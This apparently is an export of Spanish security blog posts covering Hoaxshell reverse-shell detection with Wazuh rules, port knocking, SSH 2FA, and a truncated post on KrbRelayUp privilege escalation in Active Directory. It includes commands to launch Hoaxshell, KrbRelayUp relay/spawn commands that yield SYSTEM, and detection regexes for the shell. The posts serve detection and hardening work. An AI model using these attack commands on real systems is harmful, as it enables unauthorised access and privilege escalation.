[{"title":"Análisis y detección de Hoaxshell: ¿una shell indetectable?","url":"/posts/analisis-deteccion-hoaxshell-shell-indetectable/","summary":"Hoaxshell proporciona de forma client-side una shell inversa que por el momento Microsoft Defender y posiblemente otros motores de AVs no están detectando ya que se basa únicamente en el tráfico http …","tags":["Threat Hunting","PowerShell","Event Logs","Wazuh","Hoaxshell","MITRE ATT\u0026CK","IoC","IoA"],"date":"2022-08-31","content":"Hoaxshell proporciona de forma client-side una shell inversa que por el momento Microsoft Defender y posiblemente otros motores de AVs no están detectando ya que se basa únicamente en el tráfico http y https, según nos comenta su desarrollador. Aunque más adelante veremos como esto puede ser detectado a nivel de eventos de Windows y no por eventos producidos en la red. Hoaxshell: obteniendo una shell remota Link to heading Nos descargamos el repositorio e instalamos el requirements.txt de python. git clone https://github.com/t3l3machus/hoaxshell cd ./hoaxshell sudo pip3 install -r requirements.txt chmod +x hoaxshell.py Existen principalmente dos modos de ejecutar Hoaxshell o bien de forma normal donde hace uso del puerto 8080/http o bien usando un canal cifrado SSL usando el puerto 443/https, para este segundo es necesario generar un certificado auto firmado. sudo python3 hoaxshell.py -s \u0026lt;your_ip\u0026gt; Figura 1: Ejecución de hoaxshell obteniendo una shell inversa. Buscando indicadores de compromiso para la detección de Hoaxshell Link to heading Analizando el tráfico de red Link to heading Si analizamos la comunicación de red una vez hemos lanzado el ataque de ejecución de la shell sin cifrar (8080/http) se monta un servidor web apache con una URI generada aleatoriamente donde la máquina víctima descargará el payload automáticamente cuando lo ejecute. Este es posible a través de la llamada Invoke-WebRequest incluido en el payload codificado en base64 que veremos descodificado más adelante. Figura 2: Hoaxshell sin cifrar - Detección de tráfico de red. En el caso de lanzar el ataque con un certificado auto firmado vía 443/https en la captura de tráfico vemos el establecimiento de conexión Client Hello de TLS y el intercambio de claves en el handshake entre cliente/servidor. Por otro lado esto también nos genera un evento en el provider de Powershell en el cual vemos en texto claro la decodificación del payload que se ejecutó en base64. Figura 3: Hoaxshell cifrando - Detección de tráfico de red. Analizando los eventos de Windows Link to heading En esta parte ha colaborado el compañero @noloseconseguridad el cual ha podido identificar y crear los indicadores de compromiso para la detección de Hoaxshell. En un primer momento revisamos de forma manual en el visor de eventos a ver que logs se están registrando relacionados con el provider de Powershell. Ejecutando con Hoaxshell una shell sin una comunicación cifrada encontramos en el registro Microsoft-Windows-Powershell/Operational un evento con Id. 4103 en el que vemos un CommandInvocation seguido de un Invoke-Expression donde tenemos un parámetro con el nombre name=\u0026ldquo;Command\u0026rdquo; que tiene un valor: whoami;split-path $pwd\u0026rsquo;\\0x00\u0026rsquo;. Podemos saber gracias a esto, el comando ejecutado y tenemos una string la cual podemos utilizar para crear una expresión regular y generar un IOC. ;split-path $pwd\u0026#39;\\0x00\u0026#39; Figura 4: Event Id. 4103 de Powershell generado por la ejecución de Hoaxshell sin comunicación cifrada. El payload de Hoaxshell se genera codificado en base64 tanto para obtener una shell sin cifrar como cifrada, en el caso de lanzar una shell cifrada lógicamente el tamaño del payload será más largo. Decodificando este payload podemos ver lo que está haciendo para poder invocar la shell inversa que después se nos proporciona. Figura 5: Decodificando payload de Hoaxshell en base64. Lanzando el ataque en su modo de comunicación cifrada vemos que nos genera en el provider de Powershell los eventos Id. 4103 e Id. 4104 mostrando en texto claro las instrucciones del scriptblock de Powershell y que coincide con la decodificación vista anteriormente en la figura 6. Figura 6: Event Id. 4103 y 4104 de Powershell generado por la ejecución de Hoaxshell con comunicación cifrada. Creando IOC y reglas de detección en Wazuh Link to heading En este escenario vamos a utilizar Wazuh como SIEM para la creación de los indicadores de compromiso y generar una regla de detección cuando se registre un evento relacionado con un posible ataque de Hoaxshell. Lógicamente esto puede ser exportable a otros formatos de reglas compatibles para otros sistemas de monitorización de eventos de seguridad. En el caso de Wazuh añadimos al fichero agent.conf el provider de registro de Powershell indicando la recolección de este tipo de eventos. Figura 7: Añadir el provider de registro Powershell/Operational. En el fichero local_rules.xml creamos las reglas para su detección, la última regla será la que realmente nos registre el posible ataque indicando el eventID 4103 y los posibles IOCs vistos anteriormente. \u0026lt;rule id=\u0026#34;100535\u0026#34; level=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;60009\u0026lt;/if_sid\u0026gt; \u0026lt;field name=\u0026#34;win.system.providerName\u0026#34;\u0026gt;^Microsoft-Windows-PowerShell$\u0026lt;/field\u0026gt; \u0026lt;group\u0026gt;powershell,\u0026lt;/group\u0026gt; \u0026lt;description\u0026gt;Powershell Information EventLog\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;rule id=\u0026#34;100536\u0026#34; level=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;60010\u0026lt;/if_sid\u0026gt; \u0026lt;field name=\u0026#34;win.system.providerName\u0026#34;\u0026gt;^Microsoft-Windows-PowerShell$\u0026lt;/field\u0026gt; \u0026lt;group\u0026gt;powershell,\u0026lt;/group\u0026gt; \u0026lt;description\u0026gt;Powershell Warning EventLog\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;rule id=\u0026#34;100537\u0026#34; level=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;field name=\u0026#34;win.system.providerName\u0026#34;\u0026gt;^Microsoft-Windows-PowerShell$\u0026lt;/field\u0026gt; \u0026lt;field name=\u0026#34;win.system.severityValue\u0026#34;\u0026gt;^ERROR$\u0026lt;/field\u0026gt; \u0026lt;group\u0026gt;powershell,\u0026lt;/group\u0026gt; \u0026lt;description\u0026gt;Powershell Error EventLog\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;rule id=\u0026#34;100538\u0026#34; level=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;60012\u0026lt;/if_sid\u0026gt; \u0026lt;field name=\u0026#34;win.system.providerName\u0026#34;\u0026gt;^Microsoft-Windows-PowerShell$\u0026lt;/field\u0026gt; \u0026lt;group\u0026gt;powershell,\u0026lt;/group\u0026gt; \u0026lt;description\u0026gt;Powershell Critical EventLog\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; \u0026lt;rule id=\u0026#34;100540\u0026#34; level=\u0026#34;12\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;100535\u0026lt;/if_sid\u0026gt; \u0026lt;field name=\u0026#34;win.system.eventID\u0026#34;\u0026gt;4103\u0026lt;/field\u0026gt; \u0026lt;field name=\u0026#34;win.system.message\u0026#34; type=\u0026#34;pcre2\u0026#34;\u0026gt;(?i)powershell.exe.*-e\u0026lt;/field\u0026gt; \u0026lt;field name=\u0026#34;win.system.message\u0026#34; type=\u0026#34;pcre2\u0026#34;\u0026gt;(?i)Command.*;split-path.\\$pwd.\\\\0x00\u0026lt;/field\u0026gt; \u0026lt;field name=\u0026#34;win.system.message\u0026#34; type=\u0026#34;pcre2\u0026#34;\u0026gt;(?i)Invoke-Expression\u0026lt;/field\u0026gt; \u0026lt;description\u0026gt;Powershell hoaxshell detected\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; Por lo que se pudo comprobar y dado los indicadores de compromiso encontrados la detección es exitosa tanto si se ejecuta Hoaxshell en un modo de payload sin cifrar como con una comunicación cifrada. Figura 8: Creación de reglas de detección e IOCs de Hoaxshell. Con la regla guardada, ejecutamos de nuevo Hoaxshell y\u0026hellip; bingo! vemos como nos está detectando la ejecución y generación de sesión de este tipo de shell en Powershell. Figura 9: Alerta en la ejecución de un \u0026ldquo;Powershell hoaxshell detected\u0026rdquo;. Conclusiones Link to heading Podemos decir entonces que esa shell indetectable quizás no lo es tanto. Si bien es cierto que actualmente no está siendo detectada automáticamente por Microsoft Defender como protección por defecto en un sistema Windows y es posible que otros motores de antivirus tampoco lo estén haciendo hay que saber que estableciendo unas políticas de auditoría habilitadas en las máquinas, prácticamente todo deja un rastro que se acaba traduciendo en un evento o registro de log del sistema. Sobre el tipo de payload cifrado o sin cifrar que podemos generar con Hoaxshell vemos que a nivel de evento de sistema es detectable, sin embargo a nivel de comunicación de red es realmente donde está su ventaja ya que en una comunicación sin cifrar podemos identificar la URI que genera pero en una comunicación cifrada la comunicación es TLS y no podría ser leída en un primer intento de detección. Personalmente me resulta curioso que MS Defender no esté detectando una simple ofuscación codificada en base64 a través de Powershell y que a su vez no haga un monitoreo continuo de los eventos registrados donde se encuentran decodificados. Aunque estoy seguro de que Microsoft no tardará mucho en poner solución a esto y más con el revuelo que está habiendo actualmente con Hoaxshell y su facilidad de uso. Saludos! "},{"title":"Port Knocking: mejorar la seguridad en conexiones SSH","url":"/posts/port-knocking-seguridad-ssh-linux/","summary":"Port knocking o golpeteo de puertos es un método que proporciona seguridad frente a ataques de servicios de red, consiste en realizar una serie de peticiones de conexión con una secuencia ordenada de …","tags":["Hardening","Blue Team","SSH","Redes","Wireshark"],"date":"2022-08-10","content":"Port knocking o golpeteo de puertos es un método que proporciona seguridad frente a ataques de servicios de red, consiste en realizar una serie de peticiones de conexión con una secuencia ordenada de puertos para poder habilitar una regla previamente configurada en la máquina remota que nos permita abrir una comunicación única entre cliente/servidor y establecer finalmente una conexión abierta SSH hacia el servidor remoto. El uso de esta implementación puede ser catalogado como seguridad por oscuridad. ¿Cómo funciona una conexión SSH usando Port knocking? Link to heading Tenemos un servidor SSH que expone el puerto por defecto 22 o bien otro puerto específico como por ejemplo 4422 (será el puerto que se trate en este escenario). Se añade una regla a nivel de firewall del propio servidor para rechazar todas las conexiones entrantes sobre el puerto SSH previamente configurado 4422. Para poder conectarnos a este servidor usando una técnica de port knocking de hasta tres \u0026ldquo;golpeteos\u0026rdquo; de puertos para establecer una conexión SSH, necesitamos realizar una petición a estos puertos, en este escenario mostraré tres formas de hacerlo (knockd, telnet y nmap). Una vez realizado el knocking de puertos en el orden establecido (que veremos posteriormente en el fichero de configuración) este disparará la acción de ejecutar un comando, este comando no será más que establecer una nueva regla en este caso vía iptables para permitir la conexión SSH únicamente desde la IP origen que realizó la secuencia de golpeteo de puertos y no desde ninguna otra IP alcanzable de la misma red. Finalmente para volver a aplicar la regla de bloqueo y restablecer esta configuración al terminar nuestra sesión, se lanzará el golpeteo de puertos de salida de SSH. De modo que la configuración vuelva a restablecerse y vuelva a cerrarse el puerto hacia el exterior. Configurando Iptables Link to heading Bloquear puerto SSH configurado vía Iptables Link to heading En este escenario el servidor SSH se ejecuta en un entorno Debian y expone el puerto 4422 (en vez del puerto 22 por defecto). Añadimos una regla iptables para rechazar todas las conexiones entrantes hacia el puerto 4422 del servidor SSH configurado. sudo iptables -A INPUT -p tcp --dport 4422 -j REJECT --reject-with tcp-reset Iptables: diferencias entre DROP y REJECT (estado de puertos \u0026ldquo;filtered\u0026rdquo; o \u0026ldquo;closed\u0026rdquo;) Link to heading La teoría nos dice que el uso de DROP no hará nada con el paquete recibido, simplemente lo descartará sin enviar ningún tipo de respuesta. Al contrario de REJECT donde se genera un paquete de respuesta rechazando la conexión, si no se especifica el tipo de respuesta por defecto este paquete sería un \u0026ldquo;ICMP Destination port unreachable\u0026rdquo;. En la práctica esto no es del todo cierto. Cuando la regla es DROP es cierto que el paquete se descarta y no se envía ningún paquete de respuesta, sin embargo una regla DROP anunciará que existe un control de puertos y los escáneres sabrán que se está haciendo uso de un firewall devolviendo un estado de puerto \u0026ldquo;filtered\u0026rdquo;. Ocurre lo mismo si solo usamos REJECT sin especificar un tipo concreto de respuesta, este responderá con un paquete \u0026ldquo;ICMP Destination port unreachable\u0026rdquo; anunciando así el filtrado de dicho puerto. Si lo que queremos es ocultar el puerto y devolver un estado \u0026ldquo;closed\u0026rdquo; como resultado en un escaneo de puertos, haciendo creer que el puerto o servicio que se ejecuta en el lado servidor no se está usando o simplemente no existe, debemos especificar un tipo de respuesta en una regla REJECT. Cuando usamos TCP o UDP sobre un puerto la respuesta debe responder con los flags RST/ACK, de este modo estaremos indicando a los escáneres un estado de puerto \u0026ldquo;closed\u0026rdquo;. TCP: iptables -A INPUT -p tcp \u0026ndash;dport 4422 -j REJECT \u0026ndash;reject-with tcp-reset UDP: iptables -A INPUT -p udp \u0026ndash;dport 4422 -j REJECT \u0026ndash;reject-with icmp-port-unreachable Capturando este tipo de tráfico de red con un sniffer como Wireshark, en la siguiente captura de pantalla se muestran todas las combinaciones posibles para este caso donde se puede ver el tipo de paquete de respuesta que genera según el tipo de regla aplicada en el lado servidor. Reglas DROP y REJECT con estado \u0026ldquo;FILTERED\u0026rdquo; (TCP/UDP) Link to heading iptables -A INPUT -p tcp --dport 4422 -j DROP Figura 1: Estado de puerto \u0026ldquo;filtered\u0026rdquo; usando DROP en TCP. iptables -A INPUT -p udp --dport 4422 -j DROP Figura 2: Estado de puerto \u0026ldquo;open|filtered\u0026rdquo; usando DROP en UDP. iptables -A INPUT -p tcp --dport 4422 -j REJECT Figura 3: Estado de puerto \u0026ldquo;filtered\u0026rdquo; usando REJECT en TCP. Reglas DROP y REJECT con estado \u0026ldquo;CLOSED\u0026rdquo; (TCP/UDP) Link to heading iptables -A INPUT -p tcp --dport 4422 -j REJECT --reject-with tcp-reset Figura 4: Estado de puerto \u0026ldquo;closed\u0026rdquo; usando REJECT en TCP. iptables -A INPUT -p udp --dport 4422 -j REJECT --reject-with icmp-port-unreachable o iptables -A INPUT -p udp --dport 4422 -j REJECT Figura 5: Estado de puerto \u0026ldquo;closed\u0026rdquo; usando REJECT en UDP. Guardado y persistencia de reglas Iptables después de reiniciar la máquina Link to heading Instalamos el paquete iptables-persistent. sudo apt-get install iptables-persistent Guardamos y cargamos reglas configuradas de Iptables. sudo netfilter-persistent save sudo netfilter-persistent reload Para proporcionar la persistencia de las reglas configuradas de Iptables después de un reinicio de la máquina. En el fichero /etc/crontab añadimos la ejecución para cargar las reglas guardadas después de cada arranque del sistema. sudo echo \u0026#34;@reboot sudo netfilter-persistent reload \u0026amp;\u0026#34; \u0026gt;\u0026gt; /etc/crontab Implementación de Port Knocking - knockd Link to heading Instalamos el servicio de knockd Link to heading sudo apt install -y knockd Configuración de knockd Link to heading Editamos el fichero de configuración de /etc/knockd.conf. [options] #UseSyslog logfile = /var/log/knockd.log [openSSH] sequence = 7500,8200,9800 seq_timeout = 5 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 4422 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9300,4500,6200 seq_timeout = 5 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 4422 -j ACCEPT tcpflags = syn Por cuestiones de monitorización y depuración de posibles errores establecemos un logfile específico para este servicio con el path donde se almacenarán los logs de knockd. Comentamos UseSyslog ya que si mantenemos esto por defecto los logs se almacenarán en el fichero de sistema /var/log/syslog. Disponemos de dos principales directivas. Una para abrir la conexión SSH (openSSH) y otra para cerrar y restablecer la configuración de la conexión SSH (closeSSH). Sección openSSH: sequence: Se define la configuración secreta de puertos a golpear. Se puede especificar tres o más puertos y su vez indicar el tipo de protocolo, bien sea por tcp o udp. Por defecto se establece a tres puertos en protocolo tcp. En este caso modifiqué los puertos y secuencia en el siguiente orden: 7500,8200,9800. seq_timeout: Tiempo de espera entre la ejecución de un golpeteo a otro de puertos. Por defecto se establece a 5 segundos, aunque podemos aumentarlo si no fuese suficiente. No se recomienda establecer grandes intervalos de tiempo para evitar ataques de fuerza bruta que realizan esta acción de forma automatizada intentando encontrar la combinación correcta de puertos. Una herramienta utilizada podría ser KnockIt - https://github.com/eliemoutran/KnockIt. command: Comando que el servidor ejecutará cuando detecte la combinación correcta de puertos previamente golpeados. En este caso se agregará en una nueva regla (iptables -I) en el primer orden de la jerarquía de prioridad de la tabla INPUT de iptables para permitir únicamente desde la dirección IP origen la conexión hacia el puerto 4422 configurado para este servidor SSH. tcpflags: Tipo de paquetes que reconocerá el servidor como válidos para el port knocking (en este caso con un flag syn). Sección closeSSH: Los parámetros son los mismos que las anteriores con la diferencia de indicar otro número de secuencia distinto (en este caso: 9300,4500,6200) para ejecutar otra regla en el parámetro de command. command: Se eliminará (iptables -D) la regla añadida anteriormente. De modo que el servidor vuelva a \u0026ldquo;restablecer\u0026rdquo; con la configuración inicial rechazando todas las solicitudes origen hacia el puerto 4422 de SSH. Habilitar el daemon knockd Link to heading Editamos el fichero /etc/default/knockd. Establecemos START_KNOCKD a valor \u0026ldquo;1\u0026rdquo; para habilitar el servicio y en KNOCKD_OPTS indicamos la interfaz de red que usará el servicio, en este caso enp0s3. START_KNOCKD=1 KNOCKD_OPTS=\u0026#34;-i enp0s3\u0026#34; Iniciamos el servicio knockd y habilitamos un tipo de inicio automático del servicio en el arranque del sistema. sudo systemctl start knockd sudo systemctl enable knockd ¿Cómo conectarse a un servidor SSH usando Port Knocking? Link to heading Analizando el escenario actual Link to heading Máquina Debian - Cliente: 10.0.0.23 Máquina Debian - Servidor: 10.0.0.22 En la siguiente captura se muestra un intento de conexión SSH desde la máquina cliente (10.0.0.23) sin el uso de Port knocking y vemos como la conexión ha sido rechazada. Si comprobamos el estado de puerto con Nmap vemos que el puerto se muestra en un estado cerrado \u0026ldquo;closed\u0026rdquo;. Esto es así porque previamente habíamos especificado el tipo de respuesta en REJECT con un tcp-reset el cual nos devuelve un paquete RST/ACK (ver figura 6 para más detalles). Si revisamos la configuración de reglas de iptables en la máquina servidor (10.0.0.22) vemos como hay una regla que rechaza cualquier tipo de conexión por el puerto 4422 desde cualquier IP origen. Figura 6: Intento de conexión SSH usando knockd sin el uso de secuencia Port Knocking. Opción 1: usando knock con Port Knocking Link to heading Desde la máquina cliente instalamos knockd. Para conectarnos al servidor remoto ejecutamos lo siguiente. $ knock -v 10.0.0.22 7500 8200 9800 hitting tcp 10.0.0.22:7500 hitting tcp 10.0.0.22:8200 hitting tcp 10.0.0.22:9800 Una vez golpeados los puertos en el orden de secuencia correcto, ejecutamos ssh para conectarnos al servidor por el puerto configurado 4422. ssh -p 4422 user@10.0.0.22 En la siguiente captura de pantalla podemos ver cómo después de realizar el intento de conexión SSH al servidor remoto usando la combinación correcta de golpeteo de puertos este ejecuta el comando establecido en la directiva \u0026ldquo;openSSH\u0026rdquo; configurado en el fichero /etc/knockd.conf donde se indica que se añada en primer orden una nueva regla iptables para permitir la comunicación únicamente a la IP origen de la máquina cliente permitiendo así la conexión SSH hacia la máquina servidor remota. Como prueba podemos comprobar el estado de conexión de puertos con Nmap, desde la máquina cliente permitida vemos como el puerto 4422 está en estado abierto \u0026ldquo;open\u0026rdquo;, sin embargo si comprobamos lo mismo desde otra máquina de la red con otra IP origen distinta vemos como para esa otra máquina el estado del puerto 4422 es \u0026ldquo;closed\u0026rdquo;. Por lo tanto podemos decir que las reglas están funcionando correctamente y estamos \u0026ldquo;ocultando\u0026rdquo; o más bien filtrando el uso de las comunicaciones en un puerto concreto entre otras máquinas, la máquina cliente origen y la máquina servidor. Si revisamos la máquina servidor vemos como ahora existe una nueva regla de iptables en el orden de prioridad 1 (será la primera regla que interprete el firewall) permitiendo la conexión al puerto 4422 desde la IP origen 10.0.0.23 (máquina cliente). Si analizamos los logs /var/log/knockd.log también verificamos que se ejecutó correctamente el orden de secuencia de golpeteo de puertos y el comando que agrega esta regla al firewall local de iptables. Finalmente salimos de la sesión SSH remota, para volver a restablecer las reglas iptables de la máquina servidor y así volver a rechazar las conexiones por el puerto 4422 a todas las máquinas e incluida la máquina cliente. Ejecutamos la secuencia de golpeteo de puertos establecida en la directiva de \u0026ldquo;closeSSH\u0026rdquo;. De esta forma si volvemos a revisar las reglas en la máquina servidor vemos como esta se elimina y se vuelve a establecer con prioridad 1 la regla de bloqueo que rechaza todas las conexiones desde cualquier IP origen. Figura 7: Intento de conexión SSH usando knockd con la secuencia correcta de Port Knocking. Opción 2: usando telnet con Port Knocking Link to heading Otra forma de realizar port knocking es hacer uso del comando telnet. Recibirá un mensaje de \u0026ldquo;Connection refused\u0026rdquo;, pero está bien, ya que telnet está deshabilitado en ese puerto y solo queremos enviar un paquete con flag \u0026ldquo;TCP SYN\u0026rdquo;. $ telnet 10.0.0.22 7500 Trying 10.0.0.22... telnet: Unable to connect to remote host: Connection refused $ telnet 10.0.0.22 8200 Trying 10.0.0.22... telnet: Unable to connect to remote host: Connection refused $ telnet 10.0.0.22 9800 Trying 10.0.0.22... telnet: Unable to connect to remote host: Connection refused Una vez se concluya el comando telnet durante las tres secuencias de puertos, la conexión SSH por el puerto 4422 se abrirá para la máquina cliente. Figura 8: Intento de conexión SSH usando telnet con la secuencia correcta de Port Knocking. Opción 3: usando Nmap con Port Knocking Link to heading Otra forma de realizar port knocking es hacer uso de la herramienta de escaneo de puertos Nmap. Con el parámetro -sS podemos enviar hacia el servidor paquetes con flag \u0026ldquo;TCP SYN\u0026rdquo;. Concatenando la secuencia de comandos correcta podemos lanzar este tipo de paquetes ejecutando así la regla que nos permite establecer conexión con el servidor SSH remoto. sudo nmap -sS -p7500 10.0.0.22 ; nmap -sS -p8200 10.0.0.22 ; nmap -sS -p9800 10.0.0.22 Figura 9: Intento de conexión SSH usando Nmap con la secuencia correcta de Port Knocking. Conclusiones Link to heading Añadir este mecanismo como método de autenticación SSH en servidores es una buena medida de seguridad por oscuridad. Si bien este proceso es divertido de implementar y verlo en acción, es posible que no sea factible implementarlo en entornos de producción donde hay una gran cantidad de servidores SSH o si se necesita automatizar accesos SSH. Considero que es una buena medida de seguridad a implementar solamente para aquellos servidores realmente críticos y que tengan una cierta exposición externa en los que dado su diseño de arquitectura subyacente de red no permita ser protegido en capas anteriores con un firewall o DMZ. Incluso podríamos añadir una segunda capa de protección como sería la implementación de un segundo factor de autenticación 2FA en conexiones SSH. Saludos! "},{"title":"2FA: segundo factor de autenticación en conexiones SSH","url":"/posts/2fa-segundo-factor-autenticacion-ssh/","summary":"Implementar un segundo factor de autenticación 2FA en servicios SSH sin duda es una muy buena opción de seguridad no solo para servidores expuestos a internet sino para aquellos usuarios que pueden …","tags":["Hardening","Blue Team","SSH","2FA","PKI"],"date":"2022-06-22","content":"Implementar un segundo factor de autenticación 2FA en servicios SSH sin duda es una muy buena opción de seguridad no solo para servidores expuestos a internet sino para aquellos usuarios que pueden elevarse a un contexto privilegiado de sudo y servidores críticos en una red interna corporativa. Con este mecanismo de autenticación en dos pasos se estaría reduciendo en gran medida la superficie de ataque de los vectores de entrada a estos sistemas por parte de un posible atacante. Implementación 2FA en SSH (Google Authenticator) Link to heading Instalar el paquete del módulo PAM para 2FA libpam-google-authenticator de Google Authenticator, también se instalará el paquete libqrencode4 que permite generar códigos QR en la propia terminal. sudo apt install libpam-google-authenticator -y Configurar SSH para que haga uso de este módulo PAM. Añadir la siguiente línea en el fichero /etc/pam.d/sshd. auth required pam_google_authenticator.so Habilitar esta configuración en el fichero de configuración del servicio de SSH /etc/ssh/sshd_config. Añadimos o modificamos si ya existe la siguiente política a un valor \u0026ldquo;yes\u0026rdquo;. ChallengeResponseAuthentication yes Reiniciamos el servicio sshd para aplicar los cambios realizados en el servicio de SSH. sudo systemctl restart sshd Finalmente vinculamos la cuenta de usuario en la que queremos habilitar 2FA. Se nos mostrará un código QR el cual debemos vincular con nuestra App de doble factor, ya sea Google Authenticator u otra que utilicemos para generar códigos de un solo uso basado en tiempo TOTP. google-authenticator Se lanzará el asistente de configuración donde asociaremos la clave secreta con nuestra App de segundo factor. También se generarán \u0026ldquo;5 códigos de emergencia de un solo uso\u0026rdquo; los cuales los almacenaremos de forma segura en caso de perder el acceso a nuestra App de TOTP instalada en un dispositivo físico. Conserva los códigos de emergencia Los 5 códigos scratch que genera google-authenticator son tu único acceso si pierdes el dispositivo con la app TOTP. Anótalos en un gestor de contraseñas o impreso en un lugar seguro; sin ellos y sin el móvil, el bloqueo del acceso SSH es total y solo se recupera por consola física. Figura 1: Creación de código QR - Asistente de vinculación para habilitar 2FA. Una vez finalizado el asistente de vinculación. Si nos intentamos autenticar en el servidor nos solicitará la contraseña de usuario y un código de verificación TOTP. Figura 2: Verificación del uso de 2FA en la autenticación SSH al servidor. En este caso se ha vinculado con la App de Google Authenticator donde cada 30 segundos se generará un nuevo código TOTP. Figura 3: Código TOTP en la App de Google Authenticator. Aclarar que aunque tengamos la política de PasswordAuthentication no establecida en nuestro fichero de servicio SSH al implementar 2FA será ignorada y será exigido introducir la contraseña de usuario para autenticarse en el servidor. PasswordAuthentication no afecta al challenge TOTP Aunque PasswordAuthentication no esté configurado, con ChallengeResponseAuthentication yes y PAM activo SSH seguirá pidiendo el código TOTP más la password. La directiva de password solo afecta a la autenticación PAP plana, no al challenge interactivo de Google Authenticator. Paranoid Mode 3FA: Combinar autenticación SSH Public Key + Password + TOTP Link to heading ¿Qué pasa si previamente tenemos configurado una autenticación de clave pública en nuestro servicio de conexión SSH hacia el servidor y añadimos 2FA TOTP? Si ya tenemos configurada una autenticación asimétrica de clave pública y añadimos un segundo factor basado en TOTP a priori con esta configuración actual, no funcionará. Si queremos combinar un tipo de factor TOTP junto con nuestra autenticación de clave pública en SSH debemos añadir la siguiente política en el fichero de configuración del servicio de SSH /etc/ssh/sshd_config. AuthenticationMethods publickey,keyboard-interactive Reiniciamos el servicio SSH para aplicar los cambios. sudo systemctl restart sshd De este modo cuando nos conectamos al servidor SSH no solo estaremos combinando SSH Public Key y TOTP sino que también debemos introducir la contraseña de usuario. Por lo que estaremos usando autenticación de tres factores (3FA) o también conocido como autenticación de múltiples factores (MFA) para acceder al servidor vía SSH. Autenticación con clave pública/privada. Autenticación password de la cuenta de usuario. Autenticación con código de verificación TOTP. Aunque en el fichero de configuración del servicio SSH tengamos establecida la política PasswordAuthentication no al combinarla con keyboard-interactive nos obligará a introducir la password de la cuenta de usuario con el que nos autenticamos. Figura 4: Verificación del uso de 3FA en la autenticación SSH al servidor. Permitir autenticación SSH sin 2FA para usuarios que aún no configuraron Google Authenticator Link to heading Si en la máquina servidor hay más usuarios que necesiten autenticarse vía SSH y, por el momento, estos usuarios aún no han configurado 2FA para sus cuentas, o si son usuarios sin privilegios para los que no se considera la implementación de 2FA, pero que igualmente deben poder autenticarse e iniciar sesión en el servidor sin necesidad de utilizar TOTP como segundo factor. Podemos añadir el valor nullock a la siguiente directiva del módulo de PAM editando el fichero /etc/pam.d/sshd. auth required pam_google_authenticator.so nullok Saludos! "},{"title":"KrbRelayUp PrivEsc: escalada de privilegios en AD y mitigación","url":"/posts/krbrelayup-privesc-active-directory-mitigacion/","summary":"KrbRelayUp es una herramienta que nos permite en una post-explotación la escalada de privilegios locales en máquinas unidas a un dominio Active Directory y persistencia para realizar este privesc en …","tags":["Post-Explotación","Red Team","Active Directory","Kerberos","Escalada de privilegios","Movimiento lateral","KrbRelayUp","MITRE ATT\u0026CK"],"date":"2022-05-11","content":"KrbRelayUp es una herramienta que nos permite en una post-explotación la escalada de privilegios locales en máquinas unidas a un dominio Active Directory y persistencia para realizar este privesc en cualquier máquina del dominio a través de movimientos laterales hasta llegar a la máquina objetivo, de ahí su criticidad y riesgo alto. No se trata de una vulnerabilidad en sí con un CVE asignado, sino del aprovechamiento de un fallo de configuración por defecto de Windows por parte de los controladores de dominio. Esta explotación es exitosa en cualquier máquina cliente Windows 10 bajo controladores de dominio Windows Server 2012, 2016 y 2019. Actualmente Microsoft no ha dado solución con ningún parche de actualización. Más información en el repositorio del autor Mor Davidovich @dec0ne: https://github.com/Dec0ne/KrbRelayUp Explotación (PoC) Link to heading Previamente debemos compilar el proyecto, dejo referencia del binario ya compilado KrbRelayUp.exe (fuente de la descarga: https://kb.offsec.nl/). La explotación es sumamente sencilla, una vez comprometida la máquina y descargado el ejecutable lanzamos el exploit. Hasta el momento el servicio de protección para ejecución de malware de Windows no lo detecta. Primera fase del ataque, el usuario de dominio autenticado y sin privilegios retransmitirá una petición Kerberos a LDAP y creará una máquina de control sobre la máquina local usando RBCD. .\\KrbRelayUp.exe relay -Domain \u0026lt;Domain\u0026gt; -CreateNewComputerAccount -ComputerName \u0026lt;hostName\u0026gt;$ -ComputerPassword \u0026lt;Password\u0026gt; Segunda fase del ataque, utilizará la máquina creada de control para obtener un ticket de servicio de Kerberos y lo utilizará para crear un nuevo servicio que se ejecute como SYSTEM (en este caso está desarrollado para lanzar un cmd.exe). .\\KrbRelayUp.exe spawn -d \u0026lt;Domain\u0026gt; -cn \u0026lt;HostName\u0026gt;$ -cp \u0026lt;Password\u0026gt; Figura 1: Escalada de privilegios local a SYSTEM usando KrbRelayUp.exe. Si verificamos en la consola de Active Directory (dsa.msc) vemos cómo se ha creado una nueva máquina \u0026ldquo;host01\u0026rdquo;. Aclarar que esta máquina será usada como persistencia en el dominio un posible atacante podría moverse lateralmente entre máquinas aprovechando el principio de localidad hasta llegar a una máquina servidor objetivo donde estuviese autenticado un usuario del grupo administradores de dominio o el propio administrador de dominio. Al poder escalar privilegios a SYSTEM sería más que posible realizar un volcado de hashes en memoria de dicha cuenta. Por esta razón considero que se trata de algo crítico, con un alto riesgo de seguridad y que se debería subsanar lo antes posible. Más adelante veremos cómo mitigar esto. Figura 2: Creación de la máquina maliciosa por parte de un usuario del dominio en Active Directory. Detección (Event ID 4768) Link to heading Este artículo no está enfocado al detalle de detección, sino más bien a la explotación y mitigación de esta vulnerabilidad. Considero que en este caso es más eficiente realizar una mitigación para este fallo de configuración que generar las alertas de detección en nuestro SIEM. La mitigación para esta vulnerabilidad tiene una sencilla implementación a nivel global de todo el dominio, sin embargo en las reglas de detección se nos puede escapar algo nuevo y que no se estaría alertando. Uno de los logs que podemos registrar (en una configuración de Auditoría por defecto de AD) sería el evento 4768 \u0026ldquo;Solicitud de ticket de autenticación de Kerberos (TGT)\u0026rdquo;. Donde el Account Name sería la creación de máquina en AD. Figura 3: EventID 4768 - Autenticación Kerberos solicitud de ticket TGT del host malicioso. También he intentado buscar un evento estado buscando un evento 4741 \u0026ldquo;Creación de una cuenta de 